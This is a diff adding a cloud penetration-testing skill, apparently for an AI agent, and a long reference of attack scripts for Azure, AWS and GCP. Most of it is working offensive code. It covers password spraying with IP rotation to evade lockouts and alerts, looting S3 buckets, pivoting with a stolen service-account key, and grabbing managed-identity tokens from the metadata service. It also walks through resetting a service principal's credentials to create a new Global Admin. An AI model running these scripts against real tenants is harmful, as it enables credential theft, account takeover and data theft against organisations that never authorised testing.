+- MFA may prevent credential-based attacks
+- Conditional Access policies may restrict access
+- CloudTrail/Activity Logs record all API calls
+- Some resources require specific regional access
+
+### Detection Considerations
+- Cloud providers log all API activity
+- Unusual access patterns trigger alerts
+- Use slow, deliberate enumeration
+- Consider GuardDuty, Security Center, Cloud Armor
+
+## Examples
+
+### Example 1: Azure Password Spray
+
+**Scenario:** Test Azure AD password policy
+
+```powershell
+# Using MSOLSpray with FireProx for IP rotation
+# First create FireProx endpoint
+python fire.py --access_key <key> --secret_access_key <secret> --region us-east-1 --url https://login.microsoft.com --command create
+
+# Spray passwords
+Import-Module .\MSOLSpray.ps1
+Invoke-MSOLSpray -UserList .\users.txt -Password "Spring2024!" -URL https://<api-gateway>.execute-api.us-east-1.amazonaws.com/fireprox
+```
+
+### Example 2: AWS S3 Bucket Enumeration
+
+**Scenario:** Find and access misconfigured S3 buckets
+
+```bash
+# List all buckets
+aws s3 ls | awk '{print $3}' > buckets.txt
+
+# Check each bucket for contents
+while read bucket; do
+    echo "Checking: $bucket"
+    aws s3 ls s3://$bucket 2>/dev/null
+done < buckets.txt
+
+# Download interesting bucket
+aws s3 sync s3://misconfigured-bucket ./loot/
+```
+
+### Example 3: GCP Service Account Compromise
+
+**Scenario:** Pivot using compromised service account
+
+```bash
+# Authenticate with service account key
+gcloud auth activate-service-account --key-file compromised-sa.json
+
+# List accessible projects
+gcloud projects list
+
+# Enumerate compute instances
+gcloud compute instances list --project target-project
+
+# Check for SSH keys in metadata
+gcloud compute project-info describe --project target-project | grep ssh
+
+# SSH to instance
+gcloud beta compute ssh instance-name --zone us-central1-a --project target-project
+```
+
+## Troubleshooting
+
+| Issue | Solutions |
+|-------|-----------|
+| Authentication failures | Verify credentials; check MFA; ensure correct tenant/project; try alternative auth methods |
+| Permission denied | List current roles; try different resources; check resource policies; verify region |
+| Metadata service blocked | Check IMDSv2 (AWS); verify instance role; check firewall for 169.254.169.254 |
+| Rate limiting | Add delays; spread across regions; use multiple credentials; focus on high-value targets |
+
+## References
+
+- [Advanced Cloud Scripts](references/advanced-cloud-scripts.md) - Azure Automation runbooks, Function Apps enumeration, AWS data exfiltration, GCP advanced exploitation

skills/cloud-penetration-testing/references/advanced-cloud-scripts.md

@@ -0,0 +1,318 @@
+# Advanced Cloud Pentesting Scripts
+
+Reference: [Cloud Pentesting Cheatsheet by Beau Bullock](https://github.com/dafthack/CloudPentestCheatsheets)
+
+## Azure Automation Runbooks
+
+### Export All Runbooks from All Subscriptions
+
+```powershell
+$subs = Get-AzSubscription
+Foreach($s in $subs){
+    $subscriptionid = $s.SubscriptionId
+    mkdir .\$subscriptionid\
+    Select-AzSubscription -Subscription $subscriptionid
+    $runbooks = @()
+    $autoaccounts = Get-AzAutomationAccount | Select-Object AutomationAccountName,ResourceGroupName
+    foreach ($i in $autoaccounts){
+        $runbooks += Get-AzAutomationRunbook -AutomationAccountName $i.AutomationAccountName -ResourceGroupName $i.ResourceGroupName | Select-Object AutomationAccountName,ResourceGroupName,Name
+    }
+    foreach($r in $runbooks){
+        Export-AzAutomationRunbook -AutomationAccountName $r.AutomationAccountName -ResourceGroupName $r.ResourceGroupName -Name $r.Name -OutputFolder .\$subscriptionid\
+    }
+}
+```
+
+### Export All Automation Job Outputs
+
+```powershell
+$subs = Get-AzSubscription
+$jobout = @()
+Foreach($s in $subs){
+    $subscriptionid = $s.SubscriptionId
+    Select-AzSubscription -Subscription $subscriptionid
+    $jobs = @()
+    $autoaccounts = Get-AzAutomationAccount | Select-Object AutomationAccountName,ResourceGroupName
+    foreach ($i in $autoaccounts){
+        $jobs += Get-AzAutomationJob $i.AutomationAccountName -ResourceGroupName $i.ResourceGroupName | Select-Object AutomationAccountName,ResourceGroupName,JobId
+    }
+    foreach($r in $jobs){
+        $jobout += Get-AzAutomationJobOutput -AutomationAccountName $r.AutomationAccountName -ResourceGroupName $r.ResourceGroupName -JobId $r.JobId
+    }
+}
+$jobout | Out-File -Encoding ascii joboutputs.txt
+```
+
+## Azure Function Apps
+
+### List All Function App Hostnames
+
+```powershell
+$functionapps = Get-AzFunctionApp
+foreach($f in $functionapps){
+    $f.EnabledHostname
+}
+```
+
+### Extract Function App Information
+
+```powershell
+$subs = Get-AzSubscription
+$allfunctioninfo = @()
+Foreach($s in $subs){
+    $subscriptionid = $s.SubscriptionId
+    Select-AzSubscription -Subscription $subscriptionid
+    $functionapps = Get-AzFunctionApp
+    foreach($f in $functionapps){
+        $allfunctioninfo += $f.config | Select-Object AcrUseManagedIdentityCred,AcrUserManagedIdentityId,AppCommandLine,ConnectionString,CorSupportCredentials,CustomActionParameter
+        $allfunctioninfo += $f.SiteConfig | fl
+        $allfunctioninfo += $f.ApplicationSettings | fl
+        $allfunctioninfo += $f.IdentityUserAssignedIdentity.Keys | fl
+    }
+}
+$allfunctioninfo
+```
+
+## Azure Device Code Login Flow
+
+### Initiate Device Code Login
+
+```powershell
+$body = @{
+    "client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
+    "resource"  = "https://graph.microsoft.com"
+}
+$UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"
+$Headers = @{}
+$Headers["User-Agent"] = $UserAgent
+$authResponse = Invoke-RestMethod `
+    -UseBasicParsing `
+    -Method Post `
+    -Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `
+    -Headers $Headers `
+    -Body $body
+$authResponse
+```
+
+Navigate to https://microsoft.com/devicelogin and enter the code.
+
+### Retrieve Access Tokens
+
+```powershell
+$body = @{
+    "client_id"  = "1950a258-227b-4e31-a9cf-717495945fc2"
+    "grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
+    "code"       = $authResponse.device_code
+}
+$Tokens = Invoke-RestMethod `
+    -UseBasicParsing `
+    -Method Post `
+    -Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" `
+    -Headers $Headers `
+    -Body $body
+$Tokens
+```
+
+## Azure Managed Identity Token Retrieval
+
+```powershell
+# From Azure VM
+Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com' -Method GET -Headers @{Metadata="true"} -UseBasicParsing
+
+# Full instance metadata
+$instance = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/instance?api-version=2018-02-01' -Method GET -Headers @{Metadata="true"} -UseBasicParsing
+$instance
+```
+
+## AWS Region Iteration Scripts
+
+Create `regions.txt`:
+```
+us-east-1
+us-east-2
+us-west-1
+us-west-2
+ca-central-1
+eu-west-1
+eu-west-2
+eu-west-3
+eu-central-1
+eu-north-1
+ap-southeast-1
+ap-southeast-2
+ap-south-1
+ap-northeast-1
+ap-northeast-2
+ap-northeast-3
+sa-east-1
+```
+
+### List All EC2 Public IPs
+
+```bash
+while read r; do
+    aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $r | jq -r '.[]' >> ec2-public-ips.txt
+done < regions.txt
+sort -u ec2-public-ips.txt -o ec2-public-ips.txt
+```
+
+### List All ELB DNS Addresses
+
+```bash
+while read r; do
+    aws elbv2 describe-load-balancers --query LoadBalancers[*].DNSName --region $r | jq -r '.[]' >> elb-public-dns.txt
+    aws elb describe-load-balancers --query LoadBalancerDescriptions[*].DNSName --region $r | jq -r '.[]' >> elb-public-dns.txt
+done < regions.txt
+sort -u elb-public-dns.txt -o elb-public-dns.txt
+```
+
+### List All RDS DNS Addresses
+
+```bash
+while read r; do
+    aws rds describe-db-instances --query=DBInstances[*].Endpoint.Address --region $r | jq -r '.[]' >> rds-public-dns.txt
+done < regions.txt
+sort -u rds-public-dns.txt -o rds-public-dns.txt
+```
+
+### Get CloudFormation Outputs
+
+```bash
+while read r; do
+    aws cloudformation describe-stacks --query 'Stacks[*].[StackName, Description, Parameters, Outputs]' --region $r | jq -r '.[]' >> cloudformation-outputs.txt
+done < regions.txt
+```
+
+## ScoutSuite jq Parsing Queries
+
+### AWS Queries
+
+```bash
+# Find All Lambda Environment Variables
+for d in */ ; do
+    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.awslambda.regions[].functions[] | select (.env_variables != []) | .arn, .env_variables' >> lambda-all-environment-variables.txt
+done
+
+# Find World Listable S3 Buckets
+for d in */ ; do
+    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.account_id, .services.s3.findings."s3-bucket-AuthenticatedUsers-read".items[]' >> s3-buckets-world-listable.txt
+done
+
+# Find All EC2 User Data
+for d in */ ; do
+    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].vpcs[].instances[] | select (.user_data != null) | .arn, .user_data' >> ec2-instance-all-user-data.txt
+done
+
+# Find EC2 Security Groups That Whitelist AWS CIDRs
+for d in */ ; do
+    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.account_id' >> ec2-security-group-whitelists-aws-cidrs.txt
+    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.findings."ec2-security-group-whitelists-aws".items' >> ec2-security-group-whitelists-aws-cidrs.txt
+done
+
+# Find All EC2 EBS Volumes Unencrypted
+for d in */ ; do
+    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].volumes[] | select(.Encrypted == false) | .arn' >> ec2-ebs-volume-not-encrypted.txt
+done
+
+# Find All EC2 EBS Snapshots Unencrypted
+for d in */ ; do
+    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].snapshots[] | select(.encrypted == false) | .arn' >> ec2-ebs-snapshot-not-encrypted.txt
+done
+```
+
+### Azure Queries
+
+```bash
+# List All Azure App Service Host Names
+tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -r '.services.appservice.subscriptions[].web_apps[].host_names[]'
+
+# List All Azure SQL Servers
+tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -jr '.services.sqldatabase.subscriptions[].servers[] | .name,".database.windows.net","\n"'
+
+# List All Azure Virtual Machine Hostnames
+tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -jr '.services.virtualmachines.subscriptions[].instances[] | .name,".",.location,".cloudapp.windows.net","\n"'
+
+# List Storage Accounts
+tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -r '.services.storageaccounts.subscriptions[].storage_accounts[] | .name'
+
+# List Disks Encrypted with Platform Managed Keys
+tail scoutsuite_results_azure-tenant-*.js -n +2 | jq '.services.virtualmachines.subscriptions[].disks[] | select(.encryption_type = "EncryptionAtRestWithPlatformKey") | .name' > disks-with-pmks.txt
+```
+
+## Password Spraying with Az PowerShell
+
+```powershell
+$userlist = Get-Content userlist.txt
+$passlist = Get-Content passlist.txt
+$linenumber = 0
+$count = $userlist.count
+foreach($line in $userlist){
+    $user = $line
+    $pass = ConvertTo-SecureString $passlist[$linenumber] -AsPlainText -Force
+    $current = $linenumber + 1
+    Write-Host -NoNewline ("`r[" + $current + "/" + $count + "]" + "Trying: " + $user + " and " + $passlist[$linenumber])
+    $linenumber++
+    $Cred = New-Object System.Management.Automation.PSCredential ($user, $pass)
+    try {
+        Connect-AzAccount -Credential $Cred -ErrorAction Stop -WarningAction SilentlyContinue
+        Add-Content valid-creds.txt ($user + "|" + $passlist[$linenumber - 1])
+        Write-Host -ForegroundColor green ("`nGot something here: $user and " + $passlist[$linenumber - 1])
+    }
+    catch {
+        $Failure = $_.Exception
+        if ($Failure -match "ID3242") { continue }
+        else {
+            Write-Host -ForegroundColor green ("`nGot something here: $user and " + $passlist[$linenumber - 1])
+            Add-Content valid-creds.txt ($user + "|" + $passlist[$linenumber - 1])
+            Add-Content valid-creds.txt $Failure.Message
+            Write-Host -ForegroundColor red $Failure.Message
+        }
+    }
+}
+```
+
+## Service Principal Attack Path
+
+```bash
+# Reset service principal credential
+az ad sp credential reset --id <app_id>
+az ad sp credential list --id <app_id>
+
+# Login as service principal
+az login --service-principal -u "app id" -p "password" --tenant <tenant ID> --allow-no-subscriptions
+
+# Create new user in tenant
+az ad user create --display-name <name> --password <password> --user-principal-name <upn>
+
+# Add user to Global Admin via MS Graph
+$Body="{'principalId':'User Object ID', 'roleDefinitionId': '62e90394-69f5-4237-9190-012177145e10', 'directoryScopeId': '/'}"
+az rest --method POST --uri https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments --headers "Content-Type=application/json" --body $Body
+```
+
+## Additional Tools Reference
+
+| Tool | URL | Purpose |
+|------|-----|---------|
+| MicroBurst | github.com/NetSPI/MicroBurst | Azure security assessment |
+| PowerZure | github.com/hausec/PowerZure | Azure post-exploitation |
+| ROADTools | github.com/dirkjanm/ROADtools | Azure AD enumeration |
+| Stormspotter | github.com/Azure/Stormspotter | Azure attack path graphing |
+| MSOLSpray | github.com/dafthack | O365 password spraying |
+| AzureHound | github.com/BloodHoundAD/AzureHound | Azure AD attack paths |
+| WeirdAAL | github.com/carnal0wnage/weirdAAL | AWS enumeration |
+| Pacu | github.com/RhinoSecurityLabs/pacu | AWS exploitation |
+| ScoutSuite | github.com/nccgroup/ScoutSuite | Multi-cloud auditing |
+| cloud_enum | github.com/initstring/cloud_enum | Public resource discovery |
+| GitLeaks | github.com/zricethezav/gitleaks | Secret scanning |
+| TruffleHog | github.com/dxa4481/truffleHog | Git secret scanning |
+| ip2Provider | github.com/oldrho/ip2provider | Cloud IP identification |
+| FireProx | github.com/ustayready/fireprox | IP rotation via AWS API Gateway |
+
+## Vulnerable Training Environments
+
+| Platform | URL | Purpose |
+|----------|-----|---------|
+| CloudGoat | github.com/RhinoSecurityLabs/cloudgoat | AWS vulnerable lab |
+| SadCloud | github.com/nccgroup/sadcloud | Terraform misconfigs |
+| Flaws Cloud | flaws.cloud | AWS CTF challenges |
+| Thunder CTF | thunder-ctf.cloud | GCP CTF challenges |